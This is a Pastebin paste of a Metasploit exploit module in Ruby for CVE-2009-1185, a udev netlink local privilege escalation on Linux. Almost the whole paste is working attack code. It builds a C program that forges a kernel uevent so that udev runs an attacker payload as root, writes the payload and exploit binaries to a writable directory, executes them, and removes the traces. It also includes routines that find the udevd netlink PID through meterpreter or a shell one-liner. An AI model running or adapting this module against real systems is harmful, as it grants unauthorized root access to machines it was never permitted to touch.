Advertisement
Guest User

Untitled

a guest
Mar 29th, 2020
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.43 KB | None | 0 0
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7.  
  8. require 'msf/core'
  9. require 'rex'
  10. require 'msf/core/post/common'
  11. require 'msf/core/post/file'
  12. require 'msf/core/post/linux/priv'
  13. require 'msf/core/exploit/local/linux_kernel'
  14. require 'msf/core/exploit/local/linux'
  15. require 'msf/core/exploit/local/unix'
  16.  
  17. #load 'lib/msf/core/post/file.rb'
  18. #load 'lib/msf/core/exploit/local/unix.rb'
  19. #load 'lib/msf/core/exploit/local/linux.rb'
  20. #load 'lib/msf/core/exploit/local/linux_kernel.rb'
  21.  
  22. class Metasploit4 < Msf::Exploit::Local
  23. Rank = GreatRanking
  24.  
  25. include Msf::Exploit::EXE
  26. include Msf::Post::File
  27. include Msf::Post::Common
  28.  
  29. include Msf::Exploit::Local::LinuxKernel
  30. include Msf::Exploit::Local::Linux
  31. include Msf::Exploit::Local::Unix
  32.  
  33. def initialize(info={})
  34. super( update_info( info, {
  35. 'Name' => 'Linux udev Netlink Local Privilege Escalation',
  36. 'Description' => %q{
  37. Versions of udev < 1.4.1 do not verify that netlink messages are
  38. coming from the kernel. This allows local users to gain privileges by
  39. sending netlink messages from userland.
  40. },
  41. 'License' => MSF_LICENSE,
  42. 'Author' =>
  43. [
  44. 'kcope', # discovery
  45. 'Jon Oberheide', # 95-udev-late.rules technique
  46. 'egypt' # metasploit module
  47. ],
  48. 'Platform' => [ 'linux' ],
  49. 'Arch' => [ ARCH_X86 ],
  50. 'SessionTypes' => [ 'shell', 'meterpreter' ],
  51. 'References' =>
  52. [
  53. [ 'CVE', '2009-1185' ],
  54. [ 'OSVDB', '53810' ],
  55. [ 'BID', '34536' ]
  56. ],
  57. 'Targets' =>
  58. [
  59. [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
  60. [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
  61. #[ 'Command payload', { 'Arch' => ARCH_CMD } ],
  62. ],
  63. 'DefaultOptons' => { 'WfsDelay' => 2 },
  64. 'DefaultTarget' => 0,
  65. 'DisclosureDate' => "",
  66. }
  67. ))
  68. register_options([
  69. OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
  70. OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
  71. ], self.class)
  72. end
  73.  
  74. def exploit
  75.  
  76. if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
  77. netlink_pid = datastore["NetlinkPID"]
  78. else
  79. print_status("Attempting to autodetect netlink pid...")
  80. netlink_pid = autodetect_netlink_pid
  81. end
  82.  
  83. if not netlink_pid
  84. print_error "Couldn't autodetect netlink PID, try specifying it manually."
  85. print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
  86. return
  87. else
  88. print_good "Found netlink pid: #{netlink_pid}"
  89. end
  90.  
  91. sc = Metasm::ELF.new(@cpu)
  92. sc.parse %Q|
  93. #define DEBUGGING
  94. #define NULL ((void*)0)
  95. #ifdef __ELF__
  96. .section ".bss" rwx
  97. .section ".text" rwx
  98. .entrypoint
  99. #endif
  100. call main
  101. push eax
  102. call exit
  103. |
  104.  
  105. # Set up the same include order as the bionic build system.
  106. # See external/source/meterpreter/source/bionic/libc/Jamfile
  107. cparser.lexer.include_search_path = [
  108. "external/source/meterpreter/source/bionic/libc/include/",
  109. "external/source/meterpreter/source/bionic/libc/private/",
  110. "external/source/meterpreter/source/bionic/libc/bionic/",
  111. "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
  112. "external/source/meterpreter/source/bionic/libc/kernel/common/",
  113. "external/source/meterpreter/source/bionic/libc/arch-x86/include/",
  114. ]
  115.  
  116. cparser.parse(%Q|
  117. #define DEBUGGING
  118. // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
  119. #ifndef __extension__
  120. #define __extension__
  121. #endif
  122. // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
  123. // Doing #if on an undefined macro is fine in GCC, but a parse error in
  124. // metasm.
  125. #ifndef __STDC__
  126. #define __STDC__ 0
  127. #endif
  128. #include <sys/types.h>
  129. #include <stdarg.h>
  130. #include <stdio.h>
  131. #include <unistd.h>
  132. #include <errno.h>
  133. |)
  134.  
  135. [
  136. "external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
  137. "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
  138. "external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
  139. ].each do |fname|
  140. cparser.parse(File.read(fname), fname)
  141. end
  142.  
  143. payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
  144. evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
  145.  
  146. unix_socket_h(sc)
  147. linux_x86_syscall_wrappers(sc)
  148.  
  149. main = %Q^
  150. #include <string.h>
  151. #include <linux/netlink.h>
  152. #define NULL 0
  153.  
  154. int main() {
  155. int sock;
  156. struct iovec iov;
  157. struct sockaddr_nl sa;
  158. struct msghdr msg;
  159. char *mp;
  160. char message[4096];
  161.  
  162. memset(sa, 0, sizeof(sa));
  163. sa.nl_family = AF_NETLINK;
  164. sa.nl_pid = #{netlink_pid};
  165. sa.nl_groups = 0;
  166.  
  167. memset(&msg, 0x00, sizeof(struct msghdr));
  168. msg.msg_name = (void *)&sa;
  169. msg.msg_namelen = sizeof(sa);
  170. msg.msg_iov = &iov;
  171. msg.msg_iovlen = 1;
  172. msg.msg_control = NULL;
  173. msg.msg_controllen = 0;
  174. msg.msg_flags = 0;
  175.  
  176. sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  177. bind(sock, (struct sockaddr *) &sa, sizeof(sa));
  178.  
  179. mp = message;
  180. mp += sprintf(mp, "remove@/d") + 1;
  181. mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  182. mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
  183. mp += sprintf(mp, "TIMEOUT=10") + 1;
  184. mp += sprintf(mp, "ACTION=remove") +1;
  185. mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;
  186.  
  187. iov.iov_base = (void*)message;
  188. iov.iov_len = (int)(mp-message);
  189.  
  190. sendmsg(sock, &msg, 0);
  191.  
  192. close(sock);
  193.  
  194. return 0;
  195. }
  196. ^
  197. cparser.parse(main, "main.c")
  198.  
  199. asm = cpu.new_ccompiler(cparser, sc).compile
  200.  
  201. sc.parse asm
  202.  
  203. sc.assemble
  204.  
  205. begin
  206. elf = sc.encode_string
  207. rescue
  208. print_error "Metasm Encoding failed: #{$!}"
  209. elog "Metasm Encoding failed: #{$!.class} : #{$!}"
  210. elog "Call stack:\n#{$!.backtrace.join("\n")}"
  211. return
  212. end
  213.  
  214. pl = payload.encoded_exe
  215. print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
  216. write_file(payload_path, pl)
  217.  
  218. print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
  219. write_file(evil_path, elf)
  220.  
  221. print_status "chmod'ing and running it..."
  222. cmd_exec("chmod 755 #{evil_path} #{payload_path}")
  223. cmd_exec("#{evil_path}")
  224.  
  225. rm_f(evil_path, payload_path)
  226. end
  227.  
  228. def autodetect_netlink_pid
  229. netlink_pid = nil
  230.  
  231. case session.type
  232. when "meterpreter"
  233. print_status("Meterpreter session, using get_processes to find netlink pid")
  234. process_list = session.sys.process.get_processes
  235. udev_proc = process_list.find {|p| p["name"] =~ /udevd/ }
  236. udev_pid = udev_proc["pid"]
  237. print_status "udev pid: #{udev_pid}"
  238. netlink = read_file("/proc/net/netlink")
  239. netlink.each_line do |line|
  240. pid = line.split(/\s+/)[2].to_i
  241. if pid == udev_pid - 1
  242. netlink_pid = pid
  243. break
  244. end
  245. end
  246. else
  247. print_status("Shell session, trying sh script to find netlink pid")
  248. netlink_pid = cmd_exec(
  249. %q^
  250. for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
  251. for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
  252. [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
  253. done;
  254. done ^)
  255. netlink_pid = nil if netlink_pid.empty?
  256. end
  257.  
  258. netlink_pid
  259. end
  260. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement